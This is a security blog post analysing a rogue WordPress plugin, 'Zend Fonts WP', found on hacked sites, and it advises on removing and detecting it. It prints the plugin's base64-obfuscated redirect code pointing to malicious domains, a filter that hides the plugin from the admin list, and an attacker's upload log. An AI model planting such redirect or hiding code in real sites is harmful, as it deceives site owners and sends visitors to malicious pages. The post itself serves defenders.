A while back, I explained how hackers created hidden admin users after hacking a WordPress blog. In this post, we’ll see how they upload and hide rogue plugins.
Hidden Rogue Plugins
As an example, here’s a rogue plugin that we have found on many hacked WordPress sites lately. It’s call “Zend Fonts WP” (zend-fonts-wp/zend-fonts-wp.php
):
<?php /* Plugin Name: Zend Fonts WP Plugin URI: https://framework.zend.com/ Description: Just another WordPress fonts plugin. Simple but flexible. Author: Samioki Miyoshi Author URI: https://ideasilo.wordpress.com/ Text Domain: zen-fonts-wp Domain Path: /languages/ Version: 5.1.6 */ ... ... ... function redirect() { $url = base64_decode('bWFrZXRoaXNkYXlnb29kLmNvbS9tYWlu'); if (!isset($_COOKIE[base64_decode('aHRfcnI=')])) { setcookie( base64_decode( 'aHRfcnI=' ), 1, time() + 86400, base64_decode( 'Lw==' ) ); echo base64_decode( 'PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi' ) . 'https://'.$url . base64_decode( 'Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi' ) . 'https://'.$url . base64_decode( 'Ijs8L3NjcmlwdD4=' ); } }
A quick look at the plugin’s headers section and its code shows that it is a rogue plugin that conditionally redirects all traffic to malicious websites (makethisdaygood.com/main
and best-winplace.life
). Visitors are redirected once only.
Most of the time, this plugin is uploaded using a compromised administrator account. Here’s a sample of the HTTP log:
168.80.192.74 - - [26/Aug/2021:01:59:05 +0200] "GET /wp-login.php HTTP/1.1" 200 168.80.192.74 - - [26/Aug/2021:01:59:06 +0200] "POST /wp-login.php HTTP/1.1" 302 168.80.192.74 - - [26/Aug/2021:01:59:07 +0200] "GET /wp-admin/ HTTP/1.1" 200 168.80.192.74 - - [26/Aug/2021:01:59:09 +0200] "GET /wp-admin/plugin-install.php HTTP/1.1" 200 168.80.192.74 - - [26/Aug/2021:01:59:12 +0200] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.1" 200
The 7-second attack shows how the attacker’s bot accessed the login page, logged-in and uploaded the plugin.
If an admin user logged in to the dashboard and visited the plugins section, they would see the rogue plugin:
To evade detection, hackers simply add the following 5 lines of code to their plugin:
add_filter('all_plugins', 'hide_plugins'); function hide_plugins($plugins) { unset($plugins['zend-fonts-wp/zend-fonts-wp.php']); return $plugins; }
They rely on the WordPress all_plugins hook
hook, which is used to filter the full array of plugins to list in the Plugins list table, and remove their plugin from that list so that, as soon as it is activated, the plugin will no longer be visible in the backend:
Because the attacker doesn’t make any other modification to the blog, this simple trick, along with the conditional redirection, is very efficient: some admin users who don’t have any security plugins may not even notice that they were hacked before several weeks.
Protection and Detection
If you’ve been hacked, make sure to delete the plugin (wp-content/plugins/zend-fonts-wp/zend-fonts-wp.php), to immediately change the password of all administrator users and the database too.
If you’re running a scanner such as our NinjaScanner plugin, you’ll see the rogue plugin in two sections of the report:
– The “Plugin” section, which will warn you that it detected an unknown plugin:
– The “Anti-Malware” section, which will detect it as a backdoor:
Stay informed about the latest vulnerabilities
- Running WordPress? You can get email notifications about vulnerabilities in the plugins or themes installed on your blog.
- On Twitter: @nintechnet